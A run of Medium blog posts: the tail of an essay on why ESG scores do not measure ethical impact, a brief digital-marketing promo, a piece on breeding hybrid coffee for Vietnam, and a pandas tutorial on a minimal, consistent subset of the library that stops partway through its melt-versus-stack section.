The purpose of ESG scores is to measure companies’ resilience to long-term, financially material, investment risk across the environmental, social, and governance factors. These investment risk ESG ratings use hundreds or even thousands of different pieces of information across environmental, social, and governance dimensions to create a single ESG score. These ESG scores are designed to help investors evaluate financial risk, not to rank or judge the ethics of a company.
Here are some examples of companies that have average to high ESG scores, but are controversial from an ethical perspective:
Philip Morris International
S&P Dow Jones has recognized Philip Morris International for its ESG efforts by adding it to its Sustainability Index. ESG providers like S&P Dow Jones have credited the company with investing in lower risk tobacco products and running its business responsibly on most ESG dimensions.
The problem with Philip Morris is its existing business model. The company profits from addictive and harmful products, which can negatively impact the physical and mental health of its customers while taxing health systems. Given the externalities associated with cigarettes, many ethically oriented investors are uncomfortable with idea of owning and profiting from them.
Nike
Nike is a highly rated ESG company (A rating from MSCI) and is largely well regarded for its environmental efforts.
However, there are serious questions about the company’s ties to forced labor. The Congressional-Executive Commission on China, a bipartisan group of lawmakers, has listed Nike as a company with suspected links to forced labor in Xinjiang, China. While ratings providers like MSCI loosely capture Nike’s supply chain issues, they have limited impact on its overall ESG scores.
Since Nike is a highly rated ESG stock, it will likely be an overweight position in standard ESG strategies.
Amazon
Amazon has been widely criticized for questionable practices including the treatment and safety of the company’s labor force, tax avoidance, and monopoly-like behavior that hurts small businesses. Despite all the controversies surrounding the company, it maintains an average ESG rating, which means it is likely to be present in most core ESG strategies.
The fact that some controversial companies have high ESG scores or are held in ESG strategies is not a failure of ESG rating providers or money managers. It is simply a reflection of the complexity involved in assessing companies across a wide range of issues that include everything from diversity initiatives, climate change disclosures, treatment of shareholders, product quality and so on.
3) Investors “Do Good” Priorities May Differ from ESG Money Managers
Most large investors are focused on environmental issues like climate change and governance concerns like corruption, board composition, and executive pay. These issues will influence their portfolio positions.
A recent survey of money mangers from the US SIF Foundation illustrates how managers are increasingly focused on climate change with $4.2 Trillion in assets incorporating climate and carbon into the investment process.
Although the issues above matter and present financial risk to investors, they may overshadow critical social issues like human rights, the treatment and dignity of workers, and conduct towards customers, governments, and communities.
Conclusion
It is a mistake for well-intentioned investors to automatically assume that they are doing “good” or maximizing their positive impact on society by investing in ESG strategies. There is often a direct financial cost and ethical trade-off for investing in these strategies. Before committing money to an ESG strategy, it pays for investors to reflect on their values and how they want to incorporate them in investment and giving decisions. There is no one right answer to the question of how impact minded investors should allocate their money. The key is for investors to articulate their values and beliefs and align their wealth management decisions with them.
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https://medium.com/@kathleen-houssels/esg-does-not-mean-impact-126cdafccd2c
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['Kathleen Houssels']
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2021-06-17 23:43:40.412000+00:00
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['Wealth Management', 'Impact Investing', 'Esg', 'Wealth', 'Investing']
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Why digital marketing is important In (2021)
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In today’s time everything has gone online. Internet has made our lives better and through this we can enjoy many facilities only through phone or laptop.
We can do many things like online shopping, ticket booking, recharges, bill payments, online transactions (online shopping, ticket booking, recharge, bill payment, online transactions) etc. through internet. Due to this trend of users towards the Internet, businesses are adopting Digital Marketing.
If we look at the market stats, about 80% of shoppers do online research before buying any product or taking service. In such a situation, digital marketing becomes important for any company or business.
Digital marketing is the response to marketing your goods and services through digital means. Digital marketing is done through the Internet. We can connect to it through internet, computer, mobile phone, laptop, website adertisements or any other applications.
The first few attempts were made in the 1980s to establish a digital market but this was not possible. Its name and usage started in the late 1990s.
Digital marketing is a simple way to reach new customers. It carries out marketing activities. It can also be called online marketing. Digital marketing is marketing to reach more people in less time. It is a technological developing area.
Digital marketing allows the producer to reach his customer as well as keep an eye on their activities, their needs. What is the trend of customers, what is the customer looking for, all these can be discussed through digital marketing. Simply put, digital marketing is a means of reaching customers through digital technology.
So if you want to get complete information about it, then read the entire post on our official website oflox. Thank You…
Read Also:)
Top 10 Digital Marketing Company In Dehradun
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https://medium.com/@officialmrrahman/why-digital-marketing-is-important-in-2021-c3d491cdbb86
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['Mr Rahman']
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2020-12-24 08:29:50.782000+00:00
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['Digital Marketing Agency', 'Digital']
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A new coffee taste in Vietnam
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30 years ago, an expedition of naturalists and botanists went to the birthplace of coffee: Ethiopia. Ethiopia is well known by coffee afionados to supply the market with some of the best coffee beans. It is also the place where wild arabica and robusta coffee trees can still be found; arabica in the chill highlands and robusta in the warm lowlands. Along with arabica and robusta coffee, it is also possible to find their cousins, for example: Coffea stenophylla, Coffea brevipes, to cite only two among the hundred existing species.
The aim of the naturalist expedition was to study wild Coffea arabica with better characteristics than the common arabica coffee. They measured some plant features, checked their location, and more importantly, brought back some specimens in Europe and Latin America. These wild arabica specimens were then crossed with commercial arabica varieties known for their high yield and quality. Those crosses resulted in the creation of thousands of new and unique plants; each with the potential to become the new coffee star of the world.
Agronomists studied each plant and selected the most promising ones; those with high yield, good growth and resistant to pests or diseases. Scientists took two decades to create and select new arabica varieties because coffee trees are slow to grow and the first harvest allowing quality check happen only 2 years after planting. Among the thousands of new hybrids created from the wild arabica, only 20 were chosen and multiplied by agronomists to be planted in farmers’ demonstration plots.
The multiplication of the promising new arabica hybrids is tricky because they cannot be propagated by seeds. A fixed variety like Catimor can easily be replanted with the seed of a Catimor mother-plant; both seedlings and mother plant will look alike. For the new first-generation hybrids (F1-hybrids), planting their seeds would create seedlings completely different from the mother plant. The seedlings of the new hybrids are not stable, they create various unfit plants with varying yield. A farmer wants stability, he wants all his plants to look alike with a similar yield.
The only way to multiply the F1-hybrids is to clone them in-vitro with a piece of leaf from a mother plant which generated from the first viable cross between a wild arabica with a commercial variety. This process called somatic embryogenesis which translates in “birth of a new plant from a piece of the body of the mother plant” can only be done in strict laboratory conditions assisted with various plant hormones. Creating seedlings ready to be planted on the field through this process takes more than a year. An arduous task!
Later, once a first set of plants exists, it is possible to create new seedlings through micro-cutting which consists in cutting the head of young seedlings and replanting it in a rich substrate to let it grow roots. Micro-cutting can duplicate a set of plants every two months, making seedlings exponentially available for farmers.
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https://medium.com/environmental-intelligence/a-new-coffee-taste-in-vietnam-819463225f14
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['Thuận Sarzynski']
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2020-12-25 03:56:36.116000+00:00
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['Food', 'Climate Change', 'Science', 'Coffee', 'Sustainability']
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Minimally Sufficient Pandas
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In this article, I will offer an opinionated perspective on how to best use the Pandas library for data analysis. My objective is to argue that only a small subset of the library is sufficient to complete nearly all of the data analysis tasks that one will encounter. This minimally sufficient subset of the library will benefit both beginners and professionals using Pandas. Not everyone will agree with the suggestions I lay forward, but they are how I teach and how I use the library myself. If you disagree or have any of your own suggestions, please leave them in the comments below.
By the end of this article you will:
Know why limiting Pandas to a small subset will keep your focus on the actual data analysis and not on the syntax
Have specific guidelines for taking a single approach to completing a variety of common data analysis tasks with Pandas
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Pandas is Powerful but Difficult to use
Pandas is the most popular Python library for doing data analysis. While it does offer quite a lot of functionality, it is also regarded as a fairly difficult library to learn well. Some reasons for this include:
There are often multiple ways to complete common tasks
There are over 240 DataFrame attributes and methods
There are several methods that are aliases (reference the same exact underlying code) of each other
There are several methods that have nearly identical functionality
There are many tutorials written by different people that show different ways to do the same thing
There is no official document with guidelines on how to idiomatically complete common tasks
The official documentation, itself contains non-idiomatic code
What is Minimally Sufficient Pandas?
The whole point of a data analysis library should be to provide you with the tools so that you can focus on the data analysis. While Pandas does provide you with the right tools, it doesn’t do so in a way that allows you to focus on the analysis. Instead, users are forced to tread through the complex and overabundant syntax.
I endorse the following as my definition for Minimally Sufficient Pandas.
It is a small subset of the library that is sufficient to accomplish nearly everything that it has to offer.
It allows you to focus on doing data analysis and not the syntax
With this minimally sufficient subset of Pandas:
Your code will be simple, explicit, straightforward, and boring
You will choose one obvious way to accomplish a task
You will use this obvious way every single time
You won’t have to retain as many commands in working memory
Your code will be easier to understand by others and by you
Standardizing common tasks
Pandas often gives its users multiple approaches to complete the same task. This means that your approach may use different syntax than someone else’s. This can occur even with the most rudimentary tasks such as selecting a single column of data. Using multiple different syntaxes might not lead to many issues during a single analysis done by a single person. However, it can cause havoc when a team of people are working through a long analysis using all different approaches to Pandas.
By not having a standard approach to common tasks, a larger cognitive load is placed on the developer, who must remember all the slight differences to each approach. Having more than a single way to complete each common task is asking to introduce errors and inefficiencies.
Avalanche of Stack Overflow Answers
It is not uncommon to search for Pandas answers on Stack Overflow only to be met with several competing and varied results for common tasks. This particular question about renaming columns in a DataFrame has 28 answers. Treading through this deluge of information makes it difficult for those wanting to know the one idiomatic way to complete a task that they can commit to memory.
No Tricks
Eliminating much of the library will come with some (good) limitations. Knowing many obscure Pandas tricks might impress your friends, but it doesn’t usually lead to good code. It can lead to long lines of code that are difficult to understand and may be harder to debug.
Specific Pandas Examples
We will now cover a series of specific examples within Pandas where multiple approaches exist to complete a task. I will compare and contrast the different approaches and give guidance on which one I prefer. Listed below are the topics I cover.
Selecting a single column of data
The deprecated ix indexer
indexer Selection with at and iat
and read_csv vs read_table duplication
vs duplication isna vs isnull and notna vs notnull
vs and vs Arithmetic and Comparison Operators and their Corresponding Methods
Builtin Python functions vs Pandas methods with the same name
Standardizing groupby aggregation
aggregation Handling a MultiIndex
The similarity between groupby , pivot_table and crosstab
, and pivot vs pivot_table
vs The similarity between melt and stack
and The similarity between pivot and unstack
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Minimally Sufficient Guiding Principle
The concrete examples were all derived by the following principle:
If a method does not provide any additional functionality over another method (i.e. its functionality is a subset of another) then it shouldn’t be used. Methods should only be considered if they have some additional, unique functionality.
Selecting a Single Column of Data
Selecting a single column of data from a Pandas DataFrame is just about the simplest task you can do and unfortunately, it is here where we first encounter the multiple-choice option that Pandas presents to its users.
You may select a single column as a Series with either the brackets or dot notation. Let’s read in a small, trivial DataFrame and select a column using both methods.
>>> import pandas as pd
>>> df = pd.read_csv('data/sample_data.csv', index_col=0)
>>> df
A simple DataFrame to be used for the next several examples
Selection with the brackets
Placing a column name in the brackets appended to a DataFrame selects a single column of a DataFrame as a Series.
>>> df['state'] name
Jane NY
Niko TX
Aaron FL
Penelope AL
Dean AK
Christina TX
Cornelia TX
Name: state, dtype: object
Selection with dot notation
Alternatively, you may select a single column with dot notation. Simply, place the name of the column after the dot operator. The output is the exact same as above.
>>> df.state
Issues with the dot notation
There are three issues with using dot notation. It doesn’t work in the following situations:
When there are spaces in the column name
When the column name is the same as a DataFrame method
When the column name is a variable
There are spaces in the column name
If the desired column name has spaces in it, you won’t be able to select it with the dot notation. Python uses spaces to separate names and operators and hence will not treat a column name with a space as correct syntax. Let’s create this error.
df.favorite food
You can only use the brackets to select columns with spaces.
df['favorite food']
The column name is the same as a DataFrame method
When a column name and a DataFrame method collide, Pandas will always reference the method and not the column name. For instance, the column name count is a method and will be referenced when using dot notation. This actually doesn’t produce an error as Python allows you to reference methods without calling them. Let’s reference this method now.
df.count
The output is going to be very confusing if you haven’t encountered it before. Notice at the top it states ‘bound method DataFrame.count of’. Python is telling us that this is a method of some DataFrame object. Instead of using the method name, it outputs its official string representation. Many people believe that they’ve produced some kind of analysis with this result. This isn’t true and almost nothing has happened. A reference to the method that outputs the object’s representation has been produced. That is all.
Regardless, it’s clear that using dot notation did not select a single column of the DataFrame as a Series. Again, you must use the brackets when selecting a column with the same name as a DataFrame method.
df['count']
The column name is a variable
Let’s say you are using a variable to hold a reference to the column name you would like to select. In this case, the only possibility again is to use the brackets. Below is a simple example where we assign the value of a column name to a variable and then pass this variable to the brackets.
>>> col = 'height'
>>> df[col]
The brackets are a superset of dot notation
The brackets are a strict superset of the dot notation in terms of functionality for selecting a single column. There are three cases which are not handled by the dot notation.
Lots of Pandas is written with the dot notation. Why?
Many tutorials make use of the dot notation to select a single column of data. Why is this done when the brackets seem to be clearly superior? It might be because the official documentation contains plenty of examples that use it. It also uses three fewer characters which entice the very laziest amongst us.
Guidance: Use the brackets for selecting a column of data
The dot notation provides no additional functionality over the brackets and does not work in all situations. Therefore, I never use it. Its single advantage is three fewer keystrokes.
I suggest using only the brackets for selecting a single column of data. Having just a single approach to this very common task will make your Pandas code much more consistent.
The deprecated ix indexer - never use it
Pandas allows you to select rows by either label or integer location. This flexible dual selection capability is a great cause of confusion for beginners. The ix indexer was created in the early days of Pandas to select rows and columns by both label and integer location. This turned out to be quite ambiguous as Pandas row and column names can be both integers and strings.
To make selections explicit, the loc and iloc indexers were made available. The loc indexer selects only by label while the iloc indexer selects only by integer location. Although the ix indexer was versatile, it has been deprecated in favor of the loc and iloc indexers.
Guidance: Every trace of ix should be removed and replaced with loc or iloc
Selection with at and iat
Two additional indexers, at and iat , exist that select a single cell of a DataFrame. These provide a slight performance advantage over their analogous loc and iloc indexers. But, they introduce the additional burden of having to remember what they do. Also, for most data analyses, the increase in performance isn’t useful unless it’s being done at scale. And if performance truly is an issue, then taking your data out of a DataFrame and into a NumPy array will give you a large performance gain.
Performance comparison iloc vs iat vs NumPy
Let’s compare the perfomance of selecting a single cell with iloc , iat and a NumPy array. Here we create a NumPy array with 100k rows and 5 columns containing random data. We then create a DataFrame out of it and make the selections.
>>> import numpy as np
>>> a = np.random.rand(10 ** 5, 5)
>>> df1 = pd.DataFrame(a) >>> row = 50000
>>> col = 3 >>> %timeit df1.iloc[row, col]
13.8 µs ± 3.36 µs per loop >>> %timeit df1.iat[row, col]
7.36 µs ± 927 ns per loop >>> %timeit a[row, col]
232 ns ± 8.72 ns per loop
While iat is a little less than twice as fast as iloc , selection with a NumPy array is about 60x as fast. So, if you really had an application that had performance requirements, you should be using NumPy directly and not Pandas.
Guidance: Use NumPy arrays if your application relies on performance for selecting a single cell of data and not at or iat .
Method Duplication
There are multiple methods in Pandas that do the exact same thing. Whenever two methods share the same exact underlying functionality, we say that they are aliases of each other. Having duplication in a library is completely unnecessary, pollutes the namespace and forces analysts to remember one more bit of information about a library.
This next section covers several instances of duplication along with other instances of methods that are very similar to one another.
read_csv vs read_table duplication
One example of duplication is with the read_csv and read_table functions. They both do the same exact thing, read in data from a text file. The only difference is that read_csv defaults the delimiter to a comma, while read_table uses tab as its default.
Let’s verify that read_csv and read_table are capable of producing the same results. Here we use a sample of the public College Scoreboard dataset. The equals method verifies whether two DataFrames have the exact same values.
>>> college = pd.read_csv('data/college.csv')
>>> college.head()
>>> college2 = pd.read_table('data/college.csv', delimiter=',')
>>> college.equals(college2)
True
read_table is getting deprecated
I made a post in the Pandas Github repo suggesting that a few functions and methods that I’d like to see deprecated. The read_table function is getting deprecated and should never be used.
Guidance: Only use read_csv to read in delimitted text files
isna vs isnull and notna vs notnull
The isna and isnull methods both determine whether each value in the DataFrame is missing or not. The result will always be a DataFrame (or Series) of all boolean values.
These methods are exactly the same. We say that one is an alias of the other. There is no need for both of them in the library. The isna method was added more recently because the characters na are found in other missing value methods such as dropna and fillna . Confusingly, Pandas uses NaN , None , and NaT as missing value representations and not NA .
notna and notnull are aliases of each other as well and simply return the opposite of isna . There's no need for both of them.
Let’s verify that isna and isnull are aliases.
>>> college_isna = college.isna()
>>> college_isnull = college.isnull()
>>> college_isna.equals(college_isnull)
True
I only use isna and notna
I use the methods that end in na to match the names of the other missing value methods dropna and fillna .
You can also avoid ever using notna since Pandas provides the inversion operator, ~ to invert boolean DataFrames.
Guidance: Use only isna and notna
Arithmetic and Comparison Operators and their Corresponding Methods
All arithmetic operators have corresponding methods that function similarly.
+ - add
- - - sub and subtract
- and * - mul and multiply
- and / - div , divide and truediv
- , and ** - pow
- // - floordiv
- % - mod
All the comparison operators also have corresponding methods.
> - gt
- < - lt
- >= - ge
- <= - le
- == - eq
- != - ne
Let’s select the undergraduate population column, ugds as a Series, add 100 to it and verify that both the plus operator its corresponding method, add , give the same result.
>>> ugds = college['ugds']
>>> ugds_operator = ugds + 100
>>> ugds_method = ugds.add(100)
>>> ugds_operator.equals(ugds_method)
True
Calculating the z-scores of each school
Let’s do a slightly more complex example. Below, we set the index to be the institution name and then select both of the SAT columns. We remove schools that do not provide these scores with dropna .
>>> college_idx = college.set_index('instnm')
>>> sats = college_idx[['satmtmid', 'satvrmid']].dropna()
>>> sats.head()
Let’s say we are interested in finding the z-score for each college’s SAT score. To calculate this, we would need to subtract the mean and divide by the standard deviation. Let’s first calculate the mean and standard deviation of each column.
>>> mean = sats.mean()
>>> mean satmtmid 530.958615
satvrmid 522.775338
dtype: float64 >>> std = sats.std()
>>> std satmtmid 73.645153
satvrmid 68.591051
dtype: float64
Let’s now use the arithmetic operators to complete the calculation.
>>> zscore_operator = (sats - mean) / std
>>> zscore_operator.head()
Let’s repeat this with their corresponding methods and verify equality.
>>> zscore_methods = sats.sub(mean).div(std)
>>> zscore_operator.equals(zscore_methods)
True
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An actual need for the method
So far we haven’t seen an explicit need for the methods over the operators. Let’s see an example where we absolutely need the method to complete the task. The college dataset contains 9 consecutive columns holding the relative frequency of the undergraduate population by race. The first column is ugds_white and the last ugds_unkn . Let's select these columns now into their own DataFrame.
>>> college_race = college_idx.loc[:, ‘ugds_white’:’ugds_unkn’]
>>> college_race.head()
Let’s say we are interested in the raw count of the student population by race per school. We need to multiply the total undergraduate population by each column. Let’s select the ugds column as a Series.
>>> ugds = college_idx['ugds']
>>> ugds.head() instnm
Alabama A & M University 4206.0
University of Alabama at Birmingham 11383.0
Amridge University 291.0
University of Alabama in Huntsville 5451.0
Alabama State University 4811.0
Name: ugds, dtype: float64
We then multiply the college_race DataFrame by this Series. Intuitively, this seems like it should work, but it does not. Instead, it returns an enormous DataFrame with 7,544 columns.
>>> df_attempt = college_race * ugds
>>> df_attempt.head()
>>> df_attempt.shape (7535, 7544)
Automatic alignment on the index and/or columns
Whenever an operation happens between two Pandas objects, an alignment always takes place between the index and/or columns of the two objects. In the above operation, we multiplied the college_race DataFrame and the ugds Series together. Pandas automatically (implicitly) aligned the columns of college_race to the index values of ugds .
None of the college_race columns match the index values of ugds . Pandas does the alignment by performing an outer join keeping all values that match as well as those that do not. This returns a ridiculous looking DataFrame with all missing values. Scroll all the way to the right to view the original column names of the college_race DataFrame.
Change the direction of the alignment with a method
All operators only work in a single way. We cannot change how the multiplication operator, * , works. Methods, on the other hand, can have parameters that we can use to control how the operation takes place.
Use the axis parameter of the mul method
All the methods that correspond to the operators listed above have an axis parameter that allows us to change the direction of the alignment. Instead of aligning the columns of a DataFrame to the index of a Series, we can align the index of a DataFrame to the index of a Series. Let's do that now so that we can find the answer to our problem from above.
>>> df_correct = college_race.mul(ugds, axis='index').round(0)
>>> df_correct.head()
By default, the axis parameter is set to 'columns'. We changed it to 'index' so that a proper alignment took place
Guidance: Only use the arithmetic and comparison methods when absolutely necessary, otherwise use the operators
The arithmetic and comparison operators are more common and should be attempted first. If you come across a case where the operator does not complete the task, then use the method.
Builtin Python functions vs Pandas methods with the same name
There are a few DataFrame/Series methods that return the same result as a builtin Python function with the same name. They are:
sum
min
max
abs
Let’s verify that they give the same result by testing them out on a single column of data. We begin by selecting the non-missing values of the undergraduate student population column, ugds .
>>> ugds = college['ugds'].dropna()
>>> ugds.head() 0 4206.0
1 11383.0
2 291.0
3 5451.0
4 4811.0
Name: ugds, dtype: float64
Verifying sum
>>> sum(ugds)
16200904.0 >>> ugds.sum()
16200904.0
Verifying max
>>> max(ugds)
151558.0 >>> ugds.max()
151558.0
Verifying min
>>> min(ugds)
0.0 >>> ugds.min()
0.0
Verifying abs
>>> abs(ugds).head() 0 4206.0
1 11383.0
2 291.0
3 5451.0
4 4811.0
Name: ugds, dtype: float64 >>> ugds.abs().head() 0 4206.0
1 11383.0
2 291.0
3 5451.0
4 4811.0
Name: ugds, dtype: float64
Time the performance of each
Let’s see if there is a performance difference between each method.
sum performance
>>> %timeit sum(ugds)
644 µs ± 80.3 µs per loop >>> %timeit -n 5 ugds.sum()
164 µs ± 81 µs per loop
max performance
>>> %timeit -n 5 max(ugds)
717 µs ± 46.5 µs per loop >>> %timeit -n 5 ugds.max()
172 µs ± 81.9 µs per loop
min performance
>>> %timeit -n 5 min(ugds)
705 µs ± 33.6 µs per loop >>> %timeit -n 5 ugds.min()
151 µs ± 64 µs per loop
abs performance
>>> %timeit -n 5 abs(ugds)
138 µs ± 32.6 µs per loop >>> %timeit -n 5 ugds.abs()
128 µs ± 12.2 µs per loop
Performance discrepancy for sum , max , and min
There are clear performance discrepancies for sum , max , and min . Completely different code is executed when these builtin Python functions are used as opposed to when the Pandas method is called. Calling sum(ugds) essentially creates a Python for loop to iterate through each value one at a time. On the other hand, calling ugds.sum() executes the internal Pandas sum method which is written in C and much faster than iterating with a Python for loop.
There is a lot of overhead in Pandas which is why the difference is not greater. If we instead create a NumPy array and redo the timings, we can see an enormous difference with the Numpy array sum outperforming the Python sum function by a factor of 200 on an array of 10,000 floats.
No Performance difference for abs
Notice that there is no performance difference when calling the abs function versus the abs Pandas method. This is because the exact same underlying code is being called. This is due to how Python chose to design the abs function. It allows developers to provide a custom method to be executed whenever the abs function is called. Thus, when you write abs(ugds) , you are really calling ugds.abs() . They are literally the same.
Guidance: Use the Pandas method over any built-in Python function with the same name.
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Standardizing groupby Aggregation
There are a number of syntaxes that get used for the groupby method when performing an aggregation. I suggest choosing a single syntax so that all of your code looks the same.
The three components of groupby aggregation
Typically, when calling the groupby method, you will be performing an aggregation. This is the by far the most common scenario. When you are performing an aggregation during a groupby , there will always be three components.
Grouping column — Unique values form independent groups
— Unique values form independent groups Aggregating column — Column whose values will get aggregated. Usually numeric
— Column whose values will get aggregated. Usually numeric Aggregating function — How the values will get aggregated (sum, min, max, mean, median, etc…)
My syntax of choice for groupby
There are a few different syntaxes that Pandas allows to perform a groupby aggregation. The following is the one I use.
df.groupby('grouping column').agg({'aggregating column': 'aggregating function'})
A buffet of groupby syntaxes for finding the maximum math SAT score per state
Below, we will cover several different syntaxes that return the same (or similar) result for finding the maximum SAT score per state. Let’s look at the data we will be using first.
>>> college[['stabbr', 'satmtmid', 'satvrmid', 'ugds']].head()
Method 1: Here is my preferred way of doing the groupby aggregation. It handles complex cases.
>>> college.groupby('stabbr').agg({'satmtmid': 'max'}).head()
Method 2a: The aggregating column can be selected within brackets following the call to groupby . Notice that a Series is returned here and not a DataFrame.
>>> college.groupby('stabbr')['satmtmid'].agg('max').head() stabbr
AK 503.0
AL 590.0
AR 600.0
AS NaN
AZ 580.0
Name: satmtmid, dtype: float64
Method 2b: The aggregate method is an alias for agg and can also be used. This returns the same Series as above.
>>> college.groupby('stabbr')['satmtmid'].aggregate('max').head()
Method 3: You can call the aggregating method directly without calling agg . This returns the same Series as above.
>>> college.groupby('stabbr')['satmtmid'].max().head()
Major benefits of preferred syntax
The reason I choose this syntax is that it can handle more complex grouping problems. For instance, if we wanted to find the max and min of the math and verbal sat scores along with the average undergrad population per state we would do the following.
>>> df.groupby('stabbr').agg({'satmtmid': ['min', 'max'],
'satvrmid': ['min', 'max'],
'ugds': 'mean'}).round(0).head(10)
This problem isn’t solvable using the other syntaxes.
Guidance — Use df.groupby('grouping column').agg({'aggregating column': 'aggregating function'}) as your primary syntax of choice
Handling a MultiIndex
A MultiIndex or multi-level index is a cumbersome addition to a Pandas DataFrame that occasionally makes data easier to view, but often makes it more difficult to manipulate. You usually encounter a MultiIndex after a call to groupby when using multiple grouping columns or multiple aggregating columns.
Let’s create a result similar to the last groupby from above, except this time group by both state and religious affiliation.
>>> agg_dict = {'satmtmid': ['min', 'max'],
'satvrmid': ['min', 'max'],
'ugds': 'mean'}
>>> df = college.groupby(['stabbr', 'relaffil']).agg(agg_dict)
>>> df.head(10).round(0)
A MultiIndex in both the index and columns
Both the rows and columns have a MultiIndex with two levels.
Selection and further processing is difficult with a MultiIndex
There is little extra functionality that a MultiIndex adds to your DataFrame. They have different syntax for making subset selections and are more difficult to use with other methods. If you are an expert Pandas user, you can get some performance gains when making subset selections, though I typically do not like the added complexity that they come with. I suggest working with DataFrames that have a simpler, single-level index.
Convert to a single level index — Rename the columns and reset the index
We can convert this DataFrame so that only single-level indexes remain. There is no direct way to rename columns of a DataFrame during a groupby (yes, something so simple is impossible with pandas), so we must overwrite them manually. Let’s do that now.
>>>> df.columns = ['min satmtmid', 'max satmtmid', 'min satvrmid',
'max satvrmid', 'mean ugds']
>>> df.head()
From here, we can use the reset_index method to make each index level an actual column.
>>> df.reset_index().head()
Guidance: Avoid using a MultiIndex. Flatten it after a call to groupby by renaming columns and resetting the index.
The similarity between groupby, pivot_table, and crosstab
Some users might be surprised to find that a groupby (when aggregating), pivot_table , and pd.crosstab are essentially identical. However, there are specific use cases for each, so all still meet the threshold for being included in a minimally sufficient subset of Pandas.
The equivalency of groupby aggregation and pivot_table
Performing an aggregation with groupby is essentially equivalent to using the pivot_table method. Both methods return the exact same data, but in a different shape. Let’s see a simple example that proves that this is the case. We will use a new dataset containing employee demographic information from the city of Houston.
>>> emp = pd.read_csv('data/employee.csv')
>>> emp.head()
Let’s use a groupby to find the average salary for each department by gender.
>>> emp.groupby(['dept', 'gender']).agg({'salary':'mean'}).round(-3)
We can duplicate this data by using a pivot_table .
>>> emp.pivot_table(index='dept', columns='gender',
values='salary', aggfunc='mean').round(-3)
Notice that the values are exactly the same. The only difference is that the gender column has been pivoted so its unique values are now the column names. The same three components of a groupby are found in a pivot_table . The grouping column(s) are passed to the index and columns parameters. The aggregating column is passed to the values parameter and the aggregating function is passed to the aggfunc parameter.
It’s actually possible to get an exact duplication of both the data and the shape by passing both grouping columns as a list to the index parameter.
>>> emp.pivot_table(index=['dept','gender'],
values='salary', aggfunc='mean').round(-3)
Typically, pivot_table is used with two grouping columns, one as the index and the other as the columns . But, it can be used for a single grouping column. The following produces an exact duplication of a single grouping column with groupby .
>>> df1 = emp.groupby('dept').agg({'salary':'mean'}).round(0)
>>> df2 = emp.pivot_table(index='dept', values='salary',
aggfunc='mean').round(0)
>>> df1.equals(df2)
True
Guidance: use pivot_table when comparing groups
I really like to use pivot tables to compare values across groups and a groupby when I want to continue an analysis. From above, it is easier to compare male to female salaries when using the output of pivot_table . The result is easier to digest as a human and its the type of data you will see in an article or blog post. I view pivot tables as a finished product.
The result of a groupby is going to be in tidy form, which lends itself to easier subsequent analysis, but isn’t as interpretable.
The equivalency of pivot_table and pd.crosstab
The pivot_table method and the crosstab function can both produce the exact same results with the same shape. They both share the parameters index , columns , values , and aggfunc . The major difference on the surface is that crosstab is a function and not a DataFrame method. This forces you to use columns as Series and not string names for the parameters. Let’s see an example taking the average salary by gender and race.
>>> emp.pivot_table(index='gender', columns='race',
values='salary', aggfunc='mean').round(-3)
The crosstab function produces the exact same result with the following syntax.
>>> pd.crosstab(index=emp['gender'], columns=emp['race'],
values=emp['salary'], aggfunc='mean').round(-3)
crosstab was built for counting
A crosstabulation (also known as a contingency table) shows the frequency between two variables. This is the default functionality for crosstab if given two columns. Let’s show this by counting the frequency of all race and gender combinations. Notice that there is no need to provide an aggfunc .
>>> pd.crosstab(index=emp['gender'], columns=emp['race'])
The pivot_table method can duplicate this but you must use the size aggregation function.
>>> emp.pivot_table(index='gender', columns='race', aggfunc='size')
Relative frequency — the unique functionality with crosstab
At this point, it appears that the crosstab function is just a subset of pivot_table . But, there is a single unique functionality that it posseses that makes it potentially worthwhile to add to your minimally sufficient subset. It has the ability to calculate relative frequencies across groups with the normalize parameter. For instance, if we wanted the percentage breakdown by gender across each race we can set the normalize parameter to ‘columns’.
>>> pd.crosstab(index=emp['gender'], columns=emp['race'],
normalize='columns').round(2)
You also have the option of normalizing over the rows using the string ‘index’ or over the entire DataFrame with the string ‘all’ as seen below.
>>> pd.crosstab(index=emp['gender'], columns=emp['race'],
normalize='all').round(3)
Guidance: Only use crosstab when finding relative frequency
All other situations where the crosstab function may be used can be handled with pivot_table . It is possible to manually calculate the relative frequencies after running pivot_table so crosstab isn’t all that necessary. But, it does do this calculation in a single readable line of code, so I will continue to use it.
pivot vs pivot_table
There exists a pivot method that is nearly useless and can basically be ignored. It functions similarly to pivot_table but does not do any aggregation. It only has three parameters, index , columns , and values . All three of these parameters are present in pivot_table . It reshapes the data without an aggregation. Let’s see an example with a new simple dataset.
>>> df = pd.read_csv('data/state_fruit.csv')
>>> df
Let’s use the pivot method to reshape this data so that the fruit names become the columns and the weight becomes the values.
>>> df.pivot(index='state', columns='fruit', values='weight')
Using the pivot method, reshapes the data without aggregating or doing anything to it. pivot_table , on the other hand, requires that you do an aggregation. In this case, there is only one value per intersection of state and fruit, so many aggregation functions will return the same value. Let’s recreate this exact same table with the max aggregation function.
>>> df.pivot_table(index='state', columns='fruit',
values='weight', aggfunc='max')
Issues with pivot
There are a couple major issues with the pivot method. First, it can only handle the case when both index and columns are set to a single column. If you want to keep multiple columns in the index then you cannot use pivot . Also, if any combination of index and columns appear more than once, then you will get an error as it does not perform an aggregation. Let’s produce this particular error with a dataset that is similar to the above but adds two additional rows.
>>> df2 = pd.read_csv('data/state_fruit2.csv')
>>> df2
Attempting to pivot this will not work as now the combination for both Texas and Florida with Oranges have multiple rows.
>>> df2.pivot(index='state', columns='fruit', values='weight') ValueError: Index contains duplicate entries, cannot reshape
If you would like to reshape this data, you will need to decide on how you would like to aggregate the values.
Guidance — Consider using only pivot_table and not pivot
pivot_table can accomplish all of what pivot can do. In the case that you do not need to perform an aggregation, you still must provide an aggregation function.
The similarity between melt and stack
The melt and stack methods reshape data in the same exact manner. The major difference is that the melt method does not work with data in the index while stack does. It’s easier to describe how they work with an example. Let’s begin by reading in a small dataset of arrival delay of airlines for a few airports.
>>> ad = pd.read_csv('data/airline_delay.csv')
>>> ad
Let’s reshape this data so that we have three columns, the airline, the airport and the arrival delay. We will begin with the melt method, which has two main parameters, id_vars which are the column names that are to remain vertical (and not reshaped) and value_vars which are the column names to be reshaped into a single column.
>>> ad.melt(id_vars='airline', value_vars=['ATL', 'DEN', 'DFW'])
The stack method can produce nearly identical data, but it places the reshaped column in the index. It also preserves the current index. To recreate the data above, we need to set the index to the column(s) that will not be reshaped first. Let’s do that now.
>>> ad_idx = ad.set_index('airline')
>>> ad_idx
Now, we can use stack without setting any parameters to get nearly the same result as melt .
>>> ad_idx.stack() airline
AA ATL 4
DEN 9
DFW 5
AS ATL 6
